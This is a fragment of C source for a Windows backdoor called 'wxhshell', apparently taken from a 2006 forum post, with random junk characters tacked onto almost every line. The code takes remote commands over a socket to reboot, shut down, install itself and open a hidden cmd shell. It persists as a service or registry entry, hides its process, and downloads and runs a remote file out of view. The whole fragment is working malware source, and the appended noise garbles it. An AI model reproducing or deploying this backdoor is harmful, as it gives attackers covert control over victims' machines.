    switch(cmd[0]) { BR,-:?z  
  XYEwn_Y  
  // 帮助 {/'T:n#  
  case '?': { j4.wd RK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dbI>\khI  
    break; 34@[ZKJ5  
  } GG} %  
  // 安装 z/@_?01T=  
  case 'i': { C?PQ>Q!f-  
    if(Install()) #[93$)Gd!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vwkvu&4  
    else ARk(\,h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +v Bi7#&  
    break; dmFn0J-\  
    } ZN[<=w&(cB  
  // 卸载 _plK(g-1J%  
  case 'r': { oMh$:jR$  
    if(Uninstall()) V Z(/g"9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l$42MRi/  
    else S,Y|;p<+^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9T,/R1N8  
    break; &!!*xv-z  
    } 7_0 p& 3  
  // 显示 wxhshell 所在路径 04a ^jjc  
  case 'p': { I>c,Bo7  
    char svExeFile[MAX_PATH]; Dk1& <} I  
    strcpy(svExeFile,"\n\r"); PwY/VGT  
      strcat(svExeFile,ExeFile); >lI7]hbIs  
        send(wsh,svExeFile,strlen(svExeFile),0); *Gsj pNr-  
    break; 7|rH9Bc{U  
    } mU'<:gL+  
  // 重启 D6 B-#u!M  
  case 'b': { nJD GNm,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 36d nS>4  
    if(Boot(REBOOT)) 0|3I^b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dcz?5O_{,  
    else { {#,<)wFV\  
    closesocket(wsh); 2RiJm"   
    ExitThread(0); M`MxdwR  
    } [ks_wvY:'  
    break; tUn >=>cWP  
    } f?3-C8 hU  
  // 关机 (In{GA7 ;  
  case 'd': { rhv~H"qzW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B2`S0 H  
    if(Boot(SHUTDOWN)) #Z&/w.D2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !_W:%t)g  
    else { 1.hWgWDP  
    closesocket(wsh); l|5 h  
    ExitThread(0); k.J%rRneN  
    } XLh)$rZ  
    break; <_?zln:4.  
    } b R\7j+*&  
  // 获取shell qxL\G &~  
  case 's': { KK|w30\f  
    CmdShell(wsh); (vXr2Z<l  
    closesocket(wsh); iL/c^(1  
    ExitThread(0); |vI*S5kn6A  
    break; t)SZ2G1r  
  } ?K1B^M=8  
  // 退出 D9rQ%|}S  
  case 'x': { kVn RSg}R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >.:+|Br`  
    CloseIt(wsh); _nGx[1G( 5  
    break; o3WOp80hz  
    } >w,L=z=  
  // 离开 4pmeu:26  
  case 'q': { c:Ua\$)u3,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,@$5,rNf  
    closesocket(wsh); 4.A^5J'W  
    WSACleanup(); B|`?hw@g+  
    exit(1); iTxWXij  
    break; L!f~Am:#  
        } %%ouf06.|  
  } t+ w{uwEY  
  } =4`wYh  
GXxI=,L8F  
  // 提示信息 A|LO!P,w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mhVLlb Y|t  
} ,c:NdY(,)  
  } /-v ;  
|\dv$`_T  
  return; P@PF" {S  
} S3/%;=|  
M 6&=-  
// shell模块句柄 7f+@6jqD\)  
int CmdShell(SOCKET sock) .8W-,R4  
{ M~\dvJ$cH  
STARTUPINFO si; s .p> ?U  
ZeroMemory(&si,sizeof(si)); PwW$=M{\.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hlL$3.]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;[;WEA  
PROCESS_INFORMATION ProcessInfo; EF!J#N2  
char cmdline[]="cmd"; Hrpz4E%\Aw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )YgntI@  
  return 0; kf>3T@  
} 3" m]A/6C}  
4/~x+tdc  
// 自身启动模式 S[!6Lw  
int StartFromService(void) ^85Eveu  
{ ?:3hp2k<  
typedef struct rwJ U;wy  
{ 3v\P6  
  DWORD ExitStatus; tkZUjQIX  
  DWORD PebBaseAddress; g,]o+nT  
  DWORD AffinityMask; Q k}RcP  
  DWORD BasePriority; F/ZFO5C%  
  ULONG UniqueProcessId; w\s`8S  
  ULONG InheritedFromUniqueProcessId; /V09Na,N  
}   PROCESS_BASIC_INFORMATION; rmzzbLTu  
/>mK.FT  
PROCNTQSIP NtQueryInformationProcess; ^P@:CBO  
HhQ0>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4 9N.P;b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cy.r/Z}  
Ez~5ax7x  
  HANDLE             hProcess; SbGdcCB  
  PROCESS_BASIC_INFORMATION pbi; :.ZWYze  
2j8GJU/L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BeLD`4K  
  if(NULL == hInst ) return 0; 60^j<O  
j yD3Sa3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I+H~ 5zq.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _ cQ '3@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f2x!cL|Kx?  
9{OO'at?  
  if (!NtQueryInformationProcess) return 0; <z\SKR[  
rb-ao\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }qM^J;uy  
  if(!hProcess) return 0; '(@q"`n  
Lbrl CB+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T" {~mQ*  
AB/${RGf+  
  CloseHandle(hProcess); J[:#(c&c!1  
S'34](9n6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d.+  
if(hProcess==NULL) return 0; U!q2bF<@  
IrL7%?  
HMODULE hMod; z )hK2JD  
char procName[255]; m8F$h-  
unsigned long cbNeeded; yZ6WbI8n  
QD,m`7(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;S U<T^a  
+pqbl*W;1  
  CloseHandle(hProcess); +h"i6`g  
6Sd:5eTEQ  
if(strstr(procName,"services")) return 1; // 以服务启动 :G 5p`;hGo  
5z0Sns  
  return 0; // 注册表启动 [Ix6ArY  
} \;Q(o$5<  
0bh 6ay4  
// 主模块 J.XkdGQ  
int StartWxhshell(LPSTR lpCmdLine) 4ct-K)Ris  
{ ?VotIruR  
  SOCKET wsl; } 9zi5 o8  
BOOL val=TRUE; 9ad)=3A&L  
  int port=0; aU;X&g+_)  
  struct sockaddr_in door; $Mg O)bH  
k^d]EF  
  if(wscfg.ws_autoins) Install(); !q$VnqFk  
q(~jP0pj%  
port=atoi(lpCmdLine); &V+_b$  
r jn:E  
if(port<=0) port=wscfg.ws_port; bJPKe]spJ=  
ih)\P0wed  
  WSADATA data; `%[m%Y9h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "\Dqtr w  
=C$"e4%Be  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "a;$uW@.6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kJB:=iq/x$  
  door.sin_family = AF_INET; ABoB=0.l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c[,Rh f  
  door.sin_port = htons(port); 7p'pz8n`X  
*?Wz/OJ0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^vh!1"T  
closesocket(wsl); & +`g~6U  
return 1; yT<"?S>D  
} 3BK 8{/  
Z~(X[Zl :  
  if(listen(wsl,2) == INVALID_SOCKET) { $27OrXQ|  
closesocket(wsl); z{BgAI,  
return 1; 1h`F*:nva  
} VXk[p  
  Wxhshell(wsl); PfYeV/M|  
  WSACleanup(); 21<Sfsc$  
yo_zc<  
return 0; 9`qw,X&AK_  
PY4">~6\i  
} j."V>p8u$  
(oCpQDab@  
// 以NT服务方式启动 #Q_Scxf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?gAwMP(>  
{ TG?>;It&  
DWORD   status = 0; vfT @;`  
  DWORD   specificError = 0xfffffff; jN= !Q&^i[  
3`3my=   
  serviceStatus.dwServiceType     = SERVICE_WIN32; oP 7)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; StNA(+rT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yN[i6oe  
  serviceStatus.dwWin32ExitCode     = 0; :zIB3nT^  
  serviceStatus.dwServiceSpecificExitCode = 0; v8\_6}*I  
  serviceStatus.dwCheckPoint       = 0; j/wQ2"@a  
  serviceStatus.dwWaitHint       = 0; @~=d4Wj6  
0"\js:-$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5 <KBMCn  
  if (hServiceStatusHandle==0) return; B;iJ$gt]  
u&`rK7 J  
status = GetLastError(); 1'&HmBfcb  
  if (status!=NO_ERROR) R SWw4}  
{ Hjs#p{t[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X+\=dhn69  
    serviceStatus.dwCheckPoint       = 0; jX$U)O  
    serviceStatus.dwWaitHint       = 0; k^q~ 2  
    serviceStatus.dwWin32ExitCode     = status; \,nhGh  
    serviceStatus.dwServiceSpecificExitCode = specificError; m=iKu(2xRq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h|z59h&X8G  
    return; w2!5TKZ`  
  } nH?#_ 5F1  
Ql}#mC.>/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ucLh|}jJ5  
  serviceStatus.dwCheckPoint       = 0; 6h[fk.W_  
  serviceStatus.dwWaitHint       = 0; `ST;";7!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }lx'NY~(W  
} m aQDD*  
{oo(HD;5  
// 处理NT服务事件,比如:启动、停止 Hnvs{KC`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?[5_/0L,=  
{ cKwmtmwB  
switch(fdwControl) Q;z'"P   
{ ~fpk`&nhe  
case SERVICE_CONTROL_STOP: R|O^7o  
  serviceStatus.dwWin32ExitCode = 0; kQ6YQsJ.*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *ES"^N/88  
  serviceStatus.dwCheckPoint   = 0; DT]3q4__Q  
  serviceStatus.dwWaitHint     = 0; riglEA[^  
  { 6se[>'5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 90Z4saSUw  
  } Oh=Kl3xs  
  return; cbx( L8  
case SERVICE_CONTROL_PAUSE: fdKTj =4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gEq";B%?  
  break; {`% q0Nr  
case SERVICE_CONTROL_CONTINUE: d^aLue>g;+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g.Kyfs4`  
  break; VsRdZ4  
case SERVICE_CONTROL_INTERROGATE: s(Fxi|v;  
  break; EhIa31>X  
}; (Vy`u)gG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u,S}4p&l  
} G"p rq&  
JZrZDW>M  
// 标准应用程序主函数 /5 R?(-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4g/Ly8  
{ q9m-d-!)  
NK(; -~{P  
// 获取操作系统版本 V7Mp<x%  
OsIsNt=GetOsVer(); LsV?b*^(p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hjoxx F\_  
McQWZ<  
  // 从命令行安装 BxXP]od  
  if(strpbrk(lpCmdLine,"iI")) Install(); C@FX[:l@-  
JiHk`e`  
  // 下载执行文件 bQ_N^[oxQ  
if(wscfg.ws_downexe) { q+Qrc]>-f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )@.6u9\  
  WinExec(wscfg.ws_filenam,SW_HIDE); $x1PU67  
} ew6\Z$1c~  
JdA3O{mT)  
if(!OsIsNt) { 8#~x6\!b  
// 如果时win9x,隐藏进程并且设置为注册表启动 4>8'.8S   
HideProc(); ePwoza  
StartWxhshell(lpCmdLine); rXg#_c5j  
} J@ pCF@'  
else YumHECej  
  if(StartFromService()) x4bj?=+  
  // 以服务方式启动 73d7'Fw  
  StartServiceCtrlDispatcher(DispatchTable); .UJjB}4$f  
else N2S7=`5/T  
  // 普通方式启动 #1` lJ  
  StartWxhshell(lpCmdLine); niP/i  
M%Dv-D{  
return 0; H$n{|YO `  
}
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只看该作者 1 发表于: 2006-10-10
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